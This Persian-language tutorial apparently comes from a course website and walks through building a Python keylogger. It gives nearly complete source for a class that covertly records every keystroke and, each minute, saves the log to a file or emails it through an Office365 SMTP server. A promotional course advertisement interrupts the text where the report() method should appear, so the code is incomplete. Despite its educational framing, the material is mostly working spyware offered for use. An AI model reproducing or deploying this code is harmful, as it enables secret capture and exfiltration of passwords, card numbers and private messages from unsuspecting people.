مشخصات پروژه
-
350
-
0.0
-
3176
-
0
-
0
آموزش ساخت کیلاگر Keylogger با پایتون

کیلاگر یک نوع فناوری نظارت است که برای ثبت هر کلیدی که روی کیبورد یک کامپیوتر خاص فشرده میشود، استفاده میشود. در این آموزش، شما خواهید آموخت که چگونه یک کیلاگر در زبان پایتون بسازید.
کی لاگر نوعی فناوری نظارتی است که برای نظارت و ضبط هر ضربه کلید تایپ شده بر روی صفحه کلید یک کامپیوتر خاص استفاده می شود. در این آموزش نحوه نوشتن کی لاگر در پایتون را خواهید آموخت.
این ابزار هم کاربرد مشروع و هم نامشروع دارد. کاربردهای قانونی می تواند شامل نظارت بر بهره وری کارکنان، کنترل والدین و عیب یابی مشکلات رایانه باشد. با این حال، هنگامی که توسط هکرها به طور غیراخلاقی استفاده می شود، یک کی لاگر می تواند اطلاعات حساسی مانند اعتبار ورود، شماره کارت اعتباری و پیام های شخصی را ضبط کند.
در این آموزش عملی، نحوه نوشتن یک کی لاگر در پایتون را از ابتدا یاد خواهید گرفت. با به دست آوردن درک عمیقی از مفاهیم و تکنیک های برنامه نویسی درگیر، برای محافظت از خود در برابر تهدیدات احتمالی و اجرای اقدامات حفاظتی در برابر کی لاگرها مجهز خواهید شد. هدف این آموزش افزایش آگاهی در مورد قابلیت ها و خطرات مرتبط با ابزارهای keylogging و کمک به شما در توسعه مهارت های ایجاد و تجزیه و تحلیل چنین اسکریپت هایی برای اهداف آموزشی است. بیا شروع کنیم!
اول از همه، ماژولی به نام "keyboard" نیاز داریم. به ترمینال یا خط فرمان بروید و دستور زیر را وارد کنید:
$ pip install keyboard
این ماژول به شما امکان میدهد که کامل کنترل کیبورد خود را داشته باشید. برنامه پایتون به شرح زیر عمل میکند:
- به صورت پنهانی کلیدهایی که روی کیبورد فشرده و رها میشوند را گوش میدهد.
- هر زمان که یک کلید فشرده و رها میشود، آن کلید را به یک متغیر رشتهای عمومی اضافه میکند.
- هر N دقیقه، محتوای این متغیر رشتهای را یا در یک فایل محلی ذخیره میکند (برای آپلود به سرور FTP یا استفاده از Google Drive API) یا از طریق ایمیل به دیگران ارسال میکند.
اجازه دهید با وارد کردن ماژول های لازم شروع کنیم:
import keyboard # for keylogs import smtplib # for sending email using SMTP protocol (gmail) # Timer is to make a method runs after an interval amount of time from threading import Timer from datetime import datetime from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText
حالا بیایید پارامترهای خود را مقداردهی اولیه کنیم:
SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on EMAIL_ADDRESS = "email@provider.tld" EMAIL_PASSWORD = "password_here"
توجه: بدیهی است که باید اطلاعات ورود به ایمیل صحیح خود را وارد کنید؛ در غیر اینصورت، گزارش از طریق ایمیل کار نخواهد کرد.
تنظیم SEND_REPORT_EVERY به 60 به معنای گزارش دادن اطلاعات کیلاگ هر 60 ثانیه (یعنی یک دقیقه) است. این مقدار را به تناسب نیازهای خود تغییر دهید.
بهترین روش برای نمایش یک کیلاگر، ایجاد یک کلاس برای آن است و هر متد در این کلاس وظیفهی خاصی را انجام میدهد.
class Keylogger: def __init__(self, interval, report_method="email"): # we gonna pass SEND_REPORT_EVERY to interval self.interval = interval self.report_method = report_method # this is the string variable that contains the log of all # the keystrokes within self.interval self.log = "" # record start & end datetimes self.start_dt = datetime.now() self.end_dt = datetime.now()
ما پیشفرض متد گزارش را به "email" تنظیم کردهایم، که نشاندهنده ارسال گزارش کیلاگ به ایمیل ما است. بعداً خواهید دید که چگونه "file" را پاس میدهیم و آن را در یک فایل محلی ذخیره میکنیم.
حالا ما باید از تابع on_release() کیبورد استفاده کنیم که یک بازخورد (callback) را میپذیرد و برای هر رویداد KEY_UP (زمانی که یک کلید را رها میکنید) فراخوانی میشود. این بازخورد یک پارامتر به نام KeyboardEvent را میپذیرد که دارای ویژگی name است. بیایید این کار را پیادهسازی کنیم:
def callback(self, event): """ This callback is invoked whenever a keyboard event is occured (i.e when a key is released in this example) """ name = event.name if len(name) > 1: # not a character, special key (e.g ctrl, alt, etc.) # uppercase with [] if name == "space": # " " instead of "space" name = " " elif name == "enter": # add a new line whenever an ENTER is pressed name = "[ENTER]\n" elif name == "decimal": name = "." else: # replace spaces with underscores name = name.replace(" ", "_") name = f"[{name.upper()}]" # finally, add the key name to our global self.log variable self.log += name
بنابراین، هر زمان که یک کلید رها شود، کلید فشرده شده به متغیر رشتهای self.log اضافه میشود.
اگر انتخاب کنیم که گزارش کیلاگهای خود را به یک فایل محلی ارسال کنیم، متدهای زیر مسئول این کار هستند:
def update_filename(self): # construct the filename to be identified by start & end datetimes start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-{start_dt_str}_{end_dt_str}" def report_to_file(self): """This method creates a log file in the current directory that contains the current keylogs in the self.log variable""" # open the file in write mode (create it) with open(f"{self.filename}.txt", "w") as f: # write the keylogs to the file print(self.log, file=f) print(f"[+] Saved {self.filename}.txt")
متد update_filename() به سادگی است؛ ما تاریخهای ثبت شده را میگیریم و آنها را به یک رشته قابل خواندن تبدیل میکنیم. سپس، بر اساس این تاریخها، یک نام فایل میسازیم که برای نامگذاری فایلهای گزارشگیری خود استفاده خواهیم کرد. متد report_to_file() یک فایل جدید با نام self.filename ایجاد میکند و گزارشهای کیلاگ را در آنجا ذخیره میکند. سپس ما باید متدی را پیادهسازی کنیم که با داشتن یک پیام (در این مورد، گزارش کیلاگ)، آن را به عنوان یک ایمیل ارسال کند
def prepare_mail(self, message): """Utility function to construct a MIMEMultipart from a text It creates an HTML version as well as text version to be sent as an email""" msg = MIMEMultipart("alternative") msg["From"] = EMAIL_ADDRESS msg["To"] = EMAIL_ADDRESS msg["Subject"] = "Keylogger logs" # simple paragraph, feel free to edit html = f"< p>{message}" text_part = MIMEText(message, "plain") html_part = MIMEText(html, "html") msg.attach(text_part) msg.attach(html_part) # after making the mail, convert back as string message return msg.as_string() def sendmail(self, email, password, message, verbose=1): # manages a connection to an SMTP server # in our case it's for Microsoft365, Outlook, Hotmail, and live.com server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode ( for security ) server.starttls() # login to the email account server.login(email, password) # send the actual message after preparation server.sendmail(email, email, self.prepare_mail(message)) # terminates the session server.quit() if verbose: print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
"آیا میخواهید به یک ماجراجویی جدید در دنیای کدنویسی دعوت شوید؟ آیا تمایل دارید از یادگیری پایتون به عنوان یک زبان برنامهنویسی چندمنظوره بهرهمند شوید و پروژههای واقعی و جذابی ایجاد کنید؟ دوره پروژه محور پایتون در آموزشگاه ما با تمرکز بر کاربرد عملی، شما را با دنیای وسیع و جذاب برنامهنویسی آشنا میکند. در این دوره، بهروزترین تکنولوژیها و مفاهیم پایتون را فراخواهید گرفت و از آنها برای ایجاد پروژههای واقعی بهرهمند خواهید شد. همچنین، این دوره به شما امکان میدهد تا تجربه یک جامعه برنامهنویسی فعال را تجربه کنید و با همکاری در گروههای کاری و ایجاد پروژههای گروهی، تواناییهای اجتماعی خود را تقویت کنید. بپیوندید به دوره پروژه محور پایتون و با ما به سفری جذاب و پر از چالش در دنیای کدنویسی بپردازید. زندگی با کدنویسی بهتر است. اینجاست که شما شروع میشوید!"
بنابراین، ما چک میکنیم که آیا متغیر self.log مقدار دارد (کاربر در آن دوره کلیدی فشرده کرده یا نه). اگر این اتفاق بیفتد، آن را به عنوان یک فایل محلی ذخیره میکنیم یا به عنوان یک ایمیل ارسال میکنیم.سپس ما self.interval (در این آموزش من آن را به 1 دقیقه یا 60 ثانیه تنظیم کردهام، احتیاج دارید آن را به تناسب نیاز خود تنظیم کنید) و تابع self.report() را به کلاس Timer() منتقل میکنیم، سپس پس از تنظیم آن به عنوان یک نخ دیمون، متد start() را فرا میخوانیم.
به این ترتیب، متدی که به تازگی پیادهسازی کردیم، کیلاگها را به ایمیل ارسال میکند یا آنها را در یک فایل محلی ذخیره میکند (بر اساس report_method) و هر self.interval ثانیه، در نخهای جداگانه، به صورت بازگشتی خود را فرا میخواند.
حالا بیایید متدی را تعریف کنیم که متد on_release() را فرا میخواند:
def start(self): # record the start datetime self.start_dt = datetime.now() # start the keylogger keyboard.on_release(callback=self.callback) # start reporting the keylogs self.report() # make a simple message print(f"{datetime.now()} - Started keylogger") # block the current thread, wait until CTRL+C is pressed keyboard.wait()
متد start()از آنچه که خارج از کلاس استفاده میکنیم، به عنوان متد اصلی است؛ ما از متد keyboard.on_release()برای ارسال متد callback() که پیشتر تعریف کردهایم، استفاده میکنیم.پس از آن، ما متد self.report () خود را که روی یک رشته مجزا اجرا میشود فراخوانی میکنیم و در نهایت از متد wait() از ماژول صفحه کلید برای مسدود کردن رشته فعلی استفاده میکنیم، بنابراین میتوانیم با استفاده از CTRL C از برنامه خارج شویم
if __name__ == "__main__": # if you want a keylogger to send to your email # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # if you want a keylogger to record keylogs to a local file # (and then send it using your favorite method) keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start()
اگر میخواهید گزارشها را از طریق ایمیل دریافت کنید، باید نمونه اول که report_method به "email" تنظیم شده است را فعال کنید. اگر میخواهید گزارشهای کیلاگ را از طریق فایلها در دایرکتوری فعلی ذخیره کنید، باید از نمونه دوم با report_method تنظیم به "file" استفاده کنید.
وقتی اسکریپت را با استفاده از گزارش ایمیل اجرا میکنید، ضربههای کلید شما را ضبط میکند و بعد از هر دقیقه، همه گزارشها را به ایمیل ارسال میکند، آن را امتحان کنید!
وقتی آن را با report_method="file" (پیشفرض) اجرا میکنید، پس از هر دقیقه باید فایلهای گزارش را در فهرست فعلی مشاهده کنید:
و خروجی چیزی شبیه به این را در کنسول خواهید دید:
[+] Saved keylog-2020-12-18-150850_2020-12-18-150950.txt [+] Saved keylog-2020-12-18-150950_2020-12-18-151050.txt [+] Saved keylog-2020-12-18-151050_2020-12-18-151150.txt [+] Saved keylog-2020-12-18-151150_2020-12-18-151250.txt ...